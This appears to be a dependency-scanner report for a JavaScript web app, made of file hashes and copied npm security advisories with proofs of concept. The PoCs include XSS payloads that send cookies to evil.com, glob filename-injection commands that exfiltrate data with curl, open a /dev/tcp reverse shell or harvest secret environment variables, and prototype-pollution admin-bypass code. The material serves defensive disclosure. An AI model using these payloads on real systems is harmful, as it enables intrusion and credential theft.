Keys equivalent? true
Orig key: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a
Restored: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a
```
Similar for `ed25519`, but due to low `n`, the key might not match precisely but is nevertheless equivalent for signing:
```console
Curve: ed25519
Typeof: string
Keys equal? false
Keys equivalent? true
Orig key: f1ce0e4395592f4de24f6423099e022925ad5d2d7039b614aaffdbb194a0d189
Restored: 01ce0e4395592f4de24f6423099e0227ec9cb921e3b7858581ec0d26223966a6
```
`restored` is equal to `orig` mod `N`.
### Impact
Full private key extraction when signing a single malicious message (that passes `JSON.stringify`/`JSON.parse`)
CWE-200 Exposure of Sensitive Information to an Unauthorized ActorVulnerable Software & Versions (NPM):
The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs. This issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).CWE-1240 Use of a Cryptographic Primitive with a Risky Implementation
Vulnerable Software & Versions (NPM):
The Elliptic prior to 6.6.0 for Node.js, in its for ECDSA implementation, does not correctly verify valid signatures if the hash contains at least four leading 0 bytes and when the order of the elliptic curve's base point is smaller than the hash, because of an _truncateToN anomaly. This leads to valid signatures being rejected. Legitimate transactions or communications may be incorrectly flagged as invalid.CWE-347 Improper Verification of Cryptographic Signature
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/src/components/pages/features/createCase/SelectExpert/expertTabs.js
MD5: bbed97075052b879e891377fc020c4dc
SHA1: c7c3087f24dc8accb99081597b0671993874a566
SHA256:9ccb7075562bf2dc5f62fdac0f3e9e5e46c108d8556bd1216eefb77924018c68
File Path: /github/workspace/package-lock.json?fast-xml-builder
Referenced In Project/Scope: package-lock.json: transitive
# Summary
When an input data has quotes in attribute values but process entities is not enabled, it breaks the attribute value into multiple attributes. This gives the room for an attacker to insert unwanted attributes to the XML/HTML.
## Detail
Malicious Input
```
{
a: {
"@_attr": '" onClick="alert(1)'
}
}
```
Output
```xml
<a attr="" onClick="alert(1)"></a>
```
### Workarounds
If you're not ignoring attributes then keep processEntities flag true.
CWE-611 Improper Restriction of XML External Entity Reference, CWE-91 XML Injection (aka Blind XPath Injection)Vulnerable Software & Versions (NPM):
File Path: /github/workspace/package-lock.json?fast-xml-parser
Referenced In Project/Scope: package-lock.json: transitive
# fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters
## Summary
fast-xml-parser XMLBuilder does not escape the `-->` sequence in comment content or the `]]>` sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.
Existing CVEs for fast-xml-parser cover different issues:
- CVE-2023-26920: Prototype pollution (parser)
- CVE-2023-34104: ReDoS (parser)
- CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder
- CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities
This finding covers **unescaped comment/CDATA delimiters in XMLBuilder** - a distinct vulnerability.
## Vulnerable Code
**File**: `src/fxb.js`
```javascript
// Line 442 - Comment building with NO escaping of -->
buildTextValNode(val, key, attrStr, level) {
// ...
if (key === this.options.commentPropName) {
return this.indentate(level) + `<!--${val}-->` + this.newLine; // VULNERABLE
}
// ...
if (key === this.options.cdataPropName) {
return this.indentate(level) + `<![CDATA[${val}]]>` + this.newLine; // VULNERABLE
}
}
```
Compare with attribute/text escaping which IS properly handled via `replaceEntitiesValue()`.
## Proof of Concept
### Test 1: Comment Injection (XSS in SVG/HTML context)
```javascript
import { XMLBuilder } from 'fast-xml-parser';
const builder = new XMLBuilder({
commentPropName: "#comment",
format: true,
suppressEmptyNode: true
});
const xml = {
root: {
"#comment": "--><script>alert('XSS')</script><!--",
data: "legitimate content"
}
};
console.log(builder.build(xml));
```
**Output**:
```xml
<root>
<!----><script>alert('XSS')</script><!---->
<data>legitimate content</data>
</root>
```
### Test 2: CDATA Injection (RSS feed)
```javascript
const builder = new XMLBuilder({
cdataPropName: "#cdata",
format: true,
suppressEmptyNode: true
});
const rss = {
rss: { channel: { item: {
title: "Article",
description: {
"#cdata": "Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more"
}
}}}
};
console.log(builder.build(rss));
```
**Output**:
```xml
<rss>
<channel>
<item>
<title>Article</title>
<description>
<![CDATA[Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more]]>
</description>
</item>
</channel>
</rss>
```
### Test 3: SOAP Message Injection
```javascript
const builder = new XMLBuilder({
commentPropName: "#comment",
format: true
});
const soap = {
"soap:Envelope": {
"soap:Body": {
"#comment": "Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!--",
Action: "getBalance",
UserId: "12345"
}
}
};
console.log(builder.build(soap));
```
**Output**:
```xml
<soap:Envelope>
<soap:Body>
<!--Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!---->
<Action>getBalance</Action>
<UserId>12345</UserId>
</soap:Body>
</soap:Envelope>
```
The injected `<Action>deleteAll</Action>` appears as a real SOAP action element.
## Tested Output
All tests run on Node.js v22, fast-xml-parser v5.5.12:
```
1. COMMENT INJECTION:
Injection successful: true
2. CDATA INJECTION (RSS feed scenario):
Injection successful: true
4. Round-trip test:
Injection present: true
5. SOAP MESSAGE INJECTION:
Contains injected Action: true
```
## Impact
An attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can:
1. **XSS**: Inject `<script>` tags into XML/SVG/HTML documents served to browsers
2. **SOAP injection**: Modify SOAP message structure by injecting XML elements
3. **RSS/Atom feed poisoning**: Inject scripts into RSS feed items via CDATA breakout
4. **XML document manipulation**: Break XML structure by escaping comment/CDATA context
This is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files).
## Suggested Fix
Escape delimiters in comment and CDATA content:
```javascript
// For comments: replace -- with escaped equivalent
if (key === this.options.commentPropName) {
const safeVal = String(val).replace(/--/g, '--');
return this.indentate(level) + `<!--${safeVal}-->` + this.newLine;
}
// For CDATA: split on ]]> and rejoin with separate CDATA sections
if (key === this.options.cdataPropName) {
const safeVal = String(val).replace(/]]>/g, ']]]]><![CDATA[>');
return this.indentate(level) + `<![CDATA[${safeVal}]]>` + this.newLine;
}
```
CWE-91 XML Injection (aka Blind XPath Injection)Vulnerable Software & Versions (NPM):
File Path: /github/workspace/src/utils/filterByRoleUtil.js
MD5: 746724679333804c6f0810337d537939
SHA1: c601ccf5d0d50b41851fe0004954da00c2d5dfa4
SHA256:1cc264544a2c082e18bd121022541b923615b9fd6fde453fe9626d8a89095893
File Path: /github/workspace/src/redux/reducer/financeReducer.js
MD5: a0d504fe1617d5916de1184f332eab64
SHA1: 71e2f8fca459ea0891cb571681a8ade43220ea36
SHA256:b5afe5a10a514a512db7090f1ef4fb970377a03d0bb7a5b5dd4081acc1385df1
File Path: /github/workspace/src/redux/services/financeService.js
MD5: bab834f38df091026240b790f7348868
SHA1: 9a60e7b8e6946d4b2bbe107b25fee32f65353e05
SHA256:5df32cb366dd588cdd38ced9fa0f8d62264165e773e2cbc3f3fe7d50677a1338
File Path: /github/workspace/src/components/pages/features/synapp-admin/financial-reports/financeTabs.js
MD5: cdf7e52158aa7174f51a5cb40ffab531
SHA1: 20b77c7710b3ac886448ce8dce8cd5dbf9a09f40
SHA256:8fc588cf6d1e7d15d28f71374e3f8080736b632d4ac28c2ef65e642a3f850fcb
File Path: /github/workspace/public/firebase-messaging-sw.js
MD5: d39c41c414eef8399cabe94d878a4306
SHA1: 70441424e2c5d727bbb2aaace493fc0218ec88d2
SHA256:4b8d9e15bc356963bb3f07f91edee57b39b40d3686194365939758bd9417d22a
File Path: /github/workspace/src/notifications/firebase.js
MD5: 2f9848b3394e303c1bf8fe2f45f819a6
SHA1: 1dd7debd5db4dbd05ffcf2de5b2f72ab45d0d48f
SHA256:15ef917e6a834502a275e6ffea27d375bceb205ac76fa21e136a82e9d60466b9
File Path: /github/workspace/package-lock.json?flatted
Referenced In Project/Scope: package-lock.json: transitive
## Summary
flatted's `parse()` function uses a recursive `revive()` phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential `$` indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.
## Impact
Denial of Service (DoS). Any application that passes untrusted input to `flatted.parse()` can be crashed by an unauthenticated attacker with a single request.
flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.
## Proof of Concept
```javascript
const flatted = require('flatted');
// Build deeply nested circular reference chain
const depth = 20000;
const arr = new Array(depth + 1);
arr[0] = '{"a":"1"}';
for (let i = 1; i <= depth; i++) {
arr[i] = `{"a":"${i + 1}"}`;
}
arr[depth] = '{"a":"leaf"}';
const payload = JSON.stringify(arr);
flatted.parse(payload); // RangeError: Maximum call stack size exceeded
```
## Fix
The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive `revive()` to a stack-based loop.
## Affected Versions
All versions prior to the PR #88 fix.
CWE-674 Uncontrolled RecursionVulnerable Software & Versions (NPM):
---
**Summary**
The parse() function in flatted can use attacker-controlled string values from the parsed JSON as direct array index
keys, without validating that they are numeric. Since the internal input buffer is a JavaScript Array, accessing it
with the key "\_\_proto\_\_" returns Array.prototype via the inherited getter. This object is then treated as a legitimate
parsed value and assigned as a property of the output object, effectively leaking a live reference to Array.prototype
to the consumer. Any code that subsequently writes to that property will pollute the global prototype.
---
**Root Cause**
File: esm/index.js:29 (identical in cjs/index.js)
```
const resolver = (input, lazy, parsed, $) => output => {
for (let ke = keys(output), {length} = ke, y = 0; y < length; y++) {
const k = ke[y];
const value = output[k];
if (value instanceof Primitive) {
const tmp = input[value]; // Bug is here
```
No validation that value is a safe numeric index input is built as a plain Array. JavaScript's property lookup on arrays traverses the prototype chain for non-numeric keys. The key "\_\_proto\_\_" resolves to Array.prototype, which:
- has type "object" → passes the typeof tmp === object guard at line 30
- is not in the parsed Set yet → passes the !parsed.has(tmp) guard.
- The reference to Array.prototype is then enqueued in lazy and later unconditionally assigned to the output object.
---
**Replication Steps**
```
const Flatted = require('flatted');
const parsed = Flatted.parse('[{"x":"__proto__"}]');
parsed.x.polluted = 'pwned';
console.log([].polluted); // Returns true
```
---
**Impact**
An attacker can supply a crafted flatted string to parse() that causes the returned object to hold a live reference to Array.prototype, enabling any downstream code that writes to that property to pollute the global prototype chain, potentially causing denial of service or code execution.
**Recommended solution**
Validate that the index string represents an integer within the bounds of input before accessing it:
// Before (vulnerable)
const tmp = input[value];
// After (safe)
const idx = +value; // coerce boxed String → number
const tmp = (Number.isInteger(idx) && idx >= 0 && idx < input.length)
? input[idx]
: undefined;
CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')Vulnerable Software & Versions (NPM):
File Path: /github/workspace/package-lock.json?follow-redirects
Referenced In Project/Scope: package-lock.json: transitive
## Summary
When an HTTP request follows a cross-domain redirect (301/302/307/308), `follow-redirects` only strips `authorization`, `proxy-authorization`, and `cookie` headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., `X-API-Key`, `X-Auth-Token`, `Api-Key`, `Token`) is forwarded verbatim to the redirect target.
Since `follow-redirects` is the redirect-handling dependency for **axios** (105K+ stars), this vulnerability affects the entire axios ecosystem.
## Affected Code
`index.js`, lines 469-476:
```javascript
if (redirectUrl.protocol !== currentUrlParts.protocol &&
redirectUrl.protocol !== "https:" ||
redirectUrl.host !== currentHost &&
!isSubdomain(redirectUrl.host, currentHost)) {
removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers);
}
```
The regex only matches `authorization`, `proxy-authorization`, and `cookie`. Custom headers like `X-API-Key` are not matched.
## Attack Scenario
1. App uses axios with custom auth header: `headers: { 'X-API-Key': 'sk-live-secret123' }`
2. Server returns `302 Location: https://evil.com/steal`
3. follow-redirects sends `X-API-Key: sk-live-secret123` to `evil.com`
4. Attacker captures the API key
## Impact
Any custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js.
## Suggested Fix
Add a `sensitiveHeaders` option that users can extend, or strip ALL non-standard headers on cross-domain redirect.
## Disclosure
Source code review, manually verified. Found 2026-03-20.
CWE-200 Exposure of Sensitive Information to an Unauthorized ActorVulnerable Software & Versions (NPM):
File Path: /github/workspace/package-lock.json?form-data
Referenced In Project/Scope: package-lock.json: transitive
### Summary form-data uses `Math.random()` to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker: 1. can observe other values produced by Math.random in the target application, and 2. can control one field of a request made using form-data Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request. This is largely the same vulnerability as was [recently found in `undici`](https://hackerone.com/reports/2913312) by [`parrot409`](https://hackerone.com/parrot409?type=user) -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work. ### Details The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347 An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a `x-request-id` header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. `Math.random()` is a fine place to get these sorts of IDs (in fact, [opentelemetry uses Math.random for this purpose](https://github.com/open-telemetry/opentelemetry-js/blob/2053f0d3a44631ade77ea04f656056a2c8a2ae76/packages/opentelemetry-sdk-trace-base/src/platform/node/RandomIdGenerator.ts#L22)) ### PoC PoC here: https://github.com/benweissmann/CVE-2025-7783-poc Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID). ### Impact For an application to be vulnerable, it must: - Use `form-data` to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array) - Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values. If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.CWE-330 Use of Insufficiently Random Values
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/src/utils/formUtil.js
MD5: e5edd7d9135d0f18affbd436cf82507b
SHA1: a23d0eefb6bf14aae3954c8e64f53ded28d32909
SHA256:2c325789b8ae180badd521c0ff1200fbc8970e1d72fe39262cfb36edd7e58028
File Path: /github/workspace/src/utils/getCookie.js
MD5: 0bd163bc56714f4cb298b3be40fd96ce
SHA1: 341a329560c7d95c775e3d2e0b5317776839e441
SHA256:a9ed4af95ab084c753f7655f035513a0f85d8fbb7ffd8ba7d766fde1de4246dd
File Path: /github/workspace/src/utils/getDecryptedToken.js
MD5: b94b00f9855f3b0b82a96f3af904fef1
SHA1: c0130cce8fa756409ff0b7d0cb1fd0ac17d33bbf
SHA256:08bd3e88e75f092e81be6615e3c2f238cea6138768175d2d2934ee44a67acedd
File Path: /github/workspace/package-lock.json?glob
Referenced In Project/Scope: package-lock.json: transitive
### Summary
The glob CLI contains a command injection vulnerability in its `-c/--cmd` option that allows arbitrary command execution when processing files with malicious names. When `glob -c <command> <patterns>` is used, matched filenames are passed to a shell with `shell: true`, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.
### Details
**Root Cause:**
The vulnerability exists in `src/bin.mts:277` where the CLI collects glob matches and executes the supplied command using `foregroundChild()` with `shell: true`:
```javascript
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
```
**Technical Flow:**
1. User runs `glob -c <command> <pattern>`
2. CLI finds files matching the pattern
3. Matched filenames are collected into an array
4. Command is executed with matched filenames as arguments using `shell: true`
5. Shell interprets metacharacters in filenames as command syntax
6. Malicious filenames execute arbitrary commands
**Affected Component:**
- **CLI Only:** The vulnerability affects only the command-line interface
- **Library Safe:** The core glob library API (`glob()`, `globSync()`, streams/iterators) is not affected
- **Shell Dependency:** Exploitation requires shell metacharacter support (primarily POSIX systems)
**Attack Surface:**
- Files with names containing shell metacharacters: `$()`, backticks, `;`, `&`, `|`, etc.
- Any directory where attackers can control filenames (PR branches, archives, user uploads)
- CI/CD pipelines using `glob -c` on untrusted content
### PoC
**Setup Malicious File:**
```bash
mkdir test_directory && cd test_directory
# Create file with command injection payload in filename
touch '$(touch injected_poc)'
```
**Trigger Vulnerability:**
```bash
# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
```
**Result:**
- The echo command executes normally
- **Additionally:** The `$(touch injected_poc)` in the filename is evaluated by the shell
- A new file `injected_poc` is created, proving command execution
- Any command can be injected this way with full user privileges
**Advanced Payload Examples:**
**Data Exfiltration:**
```bash
# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
```
**Reverse Shell:**
```bash
# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
```
**Environment Variable Harvesting:**
```bash
# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
```
### Impact
**Arbitrary Command Execution:**
- Commands execute with full privileges of the user running glob CLI
- No privilege escalation required - runs as current user
- Access to environment variables, file system, and network
**Real-World Attack Scenarios:**
**1. CI/CD Pipeline Compromise:**
- Malicious PR adds files with crafted names to repository
- CI pipeline uses `glob -c` to process files (linting, testing, deployment)
- Commands execute in CI environment with build secrets and deployment credentials
- Potential for supply chain compromise through artifact tampering
**2. Developer Workstation Attack:**
- Developer clones repository or extracts archive containing malicious filenames
- Local build scripts use `glob -c` for file processing
- Developer machine compromise with access to SSH keys, tokens, local services
**3. Automated Processing Systems:**
- Services using glob CLI to process uploaded files or external content
- File uploads with malicious names trigger command execution
- Server-side compromise with potential for lateral movement
**4. Supply Chain Poisoning:**
- Malicious packages or themes include files with crafted names
- Build processes using glob CLI automatically process these files
- Wide distribution of compromise through package ecosystems
**Platform-Specific Risks:**
- **POSIX/Linux/macOS:** High risk due to flexible filename characters and shell parsing
- **Windows:** Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
- **Mixed Environments:** CI systems often use Linux containers regardless of developer platform
### Affected Products
- **Ecosystem:** npm
- **Package name:** glob
- **Component:** CLI only (`src/bin.mts`)
- **Affected versions:** v10.2.0 through v11.0.3 (and likely later versions until patched)
- **Introduced:** v10.2.0 (first release with CLI containing `-c/--cmd` option)
- **Patched versions:** 11.1.0and 10.5.0
**Scope Limitation:**
- **Library API Not Affected:** Core glob functions (`glob()`, `globSync()`, async iterators) are safe
- **CLI-Specific:** Only the command-line interface with `-c/--cmd` option is vulnerable
### Remediation
- Upgrade to `glob@10.5.0`, `glob@11.1.0`, or higher, as soon as possible.
- If any `glob` CLI actions fail, then convert commands containing positional arguments, to use the `--cmd-arg`/`-g` option instead.
- As a last resort, use `--shell` to maintain `shell:true` behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')Vulnerable Software & Versions (NPM):
File Path: /github/workspace/src/redux/reducer/hcpReducer.js
MD5: 83061c9c0cf3be6f6b9428dc974752bc
SHA1: 143dd4f84d05dea328668eac6e34ae52d1bffda3
SHA256:7707deac69a2216c3eed2009a1964f7e9f3a6b3f2618b0852fb8c2a1c3af26c3
File Path: /github/workspace/src/redux/services/hcpService.js
MD5: f4e84fdb08293c908ba9dd03497a14b7
SHA1: a11fccacda41640341691e3d76d2433951f156ae
SHA256:7771f223b1857db7526d6c31df782f37349a408a947b2081cdc165482b29a6b7
File Path: /github/workspace/src/redux/reducer/homeReducer.js
MD5: 93ecaebe2d2d966f336894b198a1f4b8
SHA1: 2b29fdbbe83bdd24c8e594adec023de943e24039
SHA256:a3df053b16502140b481c6d67a87718a42fb3eb8cc79b1f4e0b1a35a8c794d04
File Path: /github/workspace/src/redux/services/homeService.js
MD5: 9c52274f5e2a81ead3823b7a347a5c72
SHA1: 7230a350c654d13d8ec366dfcb04e048cfc5ed82
SHA256:f14388a9a14f401eec3c2433dfa0dc4748100eb9ae2fb3f52e693b837a10965c
File Path: /github/workspace/package-lock.json?http-proxy-middleware
Referenced In Project/Scope: package-lock.json: transitive
Versions of the package http-proxy-middleware before 2.0.7, from 3.0.0 and before 3.0.3 are vulnerable to Denial of Service (DoS) due to an UnhandledPromiseRejection error thrown by micromatch. An attacker could kill the Node.js process and crash the server by making requests to certain paths.CWE-400 Uncontrolled Resource Consumption
Vulnerable Software & Versions (NPM):
In http-proxy-middleware before 2.0.8 and 3.x before 3.0.4, writeBody can be called twice because "else if" is not used.CWE-670 Always-Incorrect Control Flow Implementation
Vulnerable Software & Versions (NPM):
In http-proxy-middleware before 2.0.9 and 3.x before 3.0.5, fixRequestBody proceeds even if bodyParser has failed.CWE-754 Improper Check for Unusual or Exceptional Conditions
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/src/i18n/i18n.js
MD5: f3dd93cf87af0f88ad75b712c0175cb2
SHA1: b12666379f1011470d7af685022b49514cc9f1a7
SHA256:c28dfd911a53668397318512071368506f975d8276f6db3f34e642c1ef94965d
File Path: /github/workspace/package-lock.json?immutable
Referenced In Project/Scope: package-lock.json: transitive
## Impact
_What kind of vulnerability is it? Who is impacted?_
A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.
## Affected APIs
| API | Notes |
| --------------------------------------- | ----------------------------------------------------------- |
| `mergeDeep(target, source)` | Iterates source keys via `ObjectSeq`, assigns `merged[key]` |
| `mergeDeepWith(merger, target, source)` | Same code path |
| `merge(target, source)` | Shallow variant, same assignment logic |
| `Map.toJS()` | `object[k] = v` in `toObject()` with no `__proto__` guard |
| `Map.toObject()` | Same `toObject()` implementation |
| `Map.mergeDeep(source)` | When source is converted to plain object |
## Patches
_Has the problem been patched? What versions should users upgrade to?_
| major version | patched version |
| --- | --- |
| 3.x | 3.8.3 |
| 4.x | 4.3.7 |
| 5.x | 5.1.5 |
## Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
- [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input)
- [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto)
- [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects)
- [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype)
- [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype)
## Proof of Concept
### PoC 1 — mergeDeep privilege escalation
```javascript
"use strict";
const { mergeDeep } = require("immutable"); // v5.1.4
// Simulates: app merges HTTP request body (JSON) into user profile
const userProfile = { id: 1, name: "Alice", role: "user" };
const requestBody = JSON.parse(
'{"name":"Eve","__proto__":{"role":"admin","admin":true}}',
);
const merged = mergeDeep(userProfile, requestBody);
console.log("merged.name:", merged.name); // Eve (updated correctly)
console.log("merged.role:", merged.role); // user (own property wins)
console.log("merged.admin:", merged.admin); // true ← INJECTED via __proto__!
// Common security checks — both bypassed:
const isAdminByFlag = (u) => u.admin === true;
const isAdminByRole = (u) => u.role === "admin";
console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED!
console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)
// Stealthy: Object.keys() hides 'admin'
console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role']
// But property lookup reveals it:
console.log("merged.admin:", merged.admin); // true
```
### PoC 2 — All affected APIs
```javascript
"use strict";
const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");
const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}');
// 1. mergeDeep
const r1 = mergeDeep({ user: "alice" }, payload);
console.log("mergeDeep admin:", r1.admin); // true
// 2. mergeDeepWith
const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload);
console.log("mergeDeepWith admin:", r2.admin); // true
// 3. merge
const r3 = merge({ user: "alice" }, payload);
console.log("merge admin:", r3.admin); // true
// 4. Map.toJS() with __proto__ key
const m = Map({ user: "alice" }).set("__proto__", { admin: true });
const r4 = m.toJS();
console.log("toJS admin:", r4.admin); // true
// 5. Map.toObject() with __proto__ key
const m2 = Map({ user: "alice" }).set("__proto__", { admin: true });
const r5 = m2.toObject();
console.log("toObject admin:", r5.admin); // true
// 6. Nested path
const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}');
const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested);
console.log("nested admin:", r6.profile.admin); // true
// 7. Confirm NOT global
console.log("({}).admin:", {}.admin); // undefined (global safe)
```
**Verified output against immutable@5.1.4:**
```
mergeDeep admin: true
mergeDeepWith admin: true
merge admin: true
toJS admin: true
toObject admin: true
nested admin: true
({}).admin: undefined ← global Object.prototype NOT polluted
```
## References
_Are there any links users can visit to find out more?_
- [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)
CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')Vulnerable Software & Versions (NPM):
File Path: /github/workspace/src/app/requireAuth/index.js
MD5: eb6a9c193e540f005b8d2edb2f1c0e86
SHA1: 626562aa89f73374274ad087d38a5ce69c298df6
SHA256:3a5b32a09cd6297ddc2472ef8a4a8a996eb20f439831baeba0a6bad72d3a8d62
File Path: /github/workspace/src/assets/svg/index.js
MD5: 83f7a7e3501db630342bba89afebbd03
SHA1: a18367f403b67580c588c384917abe8c04704106
SHA256:2b6b0ce4e11344c17b1e34c33ff356465468f798a2ea186f82089b80c679f4f3
File Path: /github/workspace/src/axiosInstance/index.js
MD5: b1ce61fb904e1e586fcde62a265e82d8
SHA1: f7f5b012a022d694fdf89144dc0cee2fe6647f89
SHA256:70c11ef781fea823c13d564de8f04783af2dd3f891f8f3db6e5797b38688cdaa
File Path: /github/workspace/src/components/common/SynappTour/index.js
MD5: ceb9f35394ae884aaddb35be053c9f16
SHA1: ae4ae8600b799255271110cc19087f317a0da06c
SHA256:abb71d42267c1a6d4fd9891e00e8ade359e5f21b871abc1537981d5daf5fd65b
File Path: /github/workspace/src/components/common/SynappTour/tour-title/index.js
MD5: 835028414471d9433ec4a1a66df9b836
SHA1: a9b6d9ab4758b942735a01374702b4d9212d1d90
SHA256:eba97149675781b76fdfedc04014f38fe23eedbe825dcc3e97470f83d475790f
File Path: /github/workspace/src/components/common/about-us/index.js
MD5: 32b6598bd320dae8ea9d9a751ff72719
SHA1: cdeb831f25896c3ae665bc3141934db9ff965058
SHA256:2d37952c7059a86c63cf020efbbacbc2e33fa336512d12a0e5d241f3c05b5cff
File Path: /github/workspace/src/components/common/add-edit-medical-report/index.js
MD5: 58a1841bf73ffac0413adf415256e5f6
SHA1: 93e8b6e6288025f30023a7dab3515f6b1a050d84
SHA256:3f35ed4d0bafb27a6f4897b8d4a6dc1e46a052c0e52adc4c9c5b13d0b92bcd78
File Path: /github/workspace/src/components/common/auth-confetti/index.js
MD5: 83426890d90c38f23b7a0133dd475c3f
SHA1: 2f0f6d7dabfcf79009705b07e34dfef737e63b45
SHA256:d6e96e34f5c359de79bff7beb3690025435d1117b556b3da95b5567223d9a519
File Path: /github/workspace/src/components/common/box/index.js
MD5: 257e3ee91f870d62c9b3df642b944d80
SHA1: 0c93491dcbfa85361ed16d9d18a880c654275a02
SHA256:f2929cb9a0b988802a5a2d47a8d6e4c4cac448bd98b0931d4e16e11d681e274f
File Path: /github/workspace/src/components/common/bread-crumbs/index.js
MD5: 01ddb58fb2ec08bf3f2864f46a6492b3
SHA1: f22661588f43aef7ee98c30343e4993f6c7f8f74
SHA256:5d3602a8bb0d633764781ed295133b55acc0befe2589bffc5fe592e61e5772d9
File Path: /github/workspace/src/components/common/broadcast-widget/index.js
MD5: 04ecc63e8c605e4a3b18972f72b1aa7d
SHA1: 54b096f138ecaa54ac9f48fbcdf3ad4cfc868b7b
SHA256:ad0e879aa4927228555b38deaf6ca31ceeeea65cd0c410b04be64af4ebee7d93
File Path: /github/workspace/src/components/common/community-card/index.js
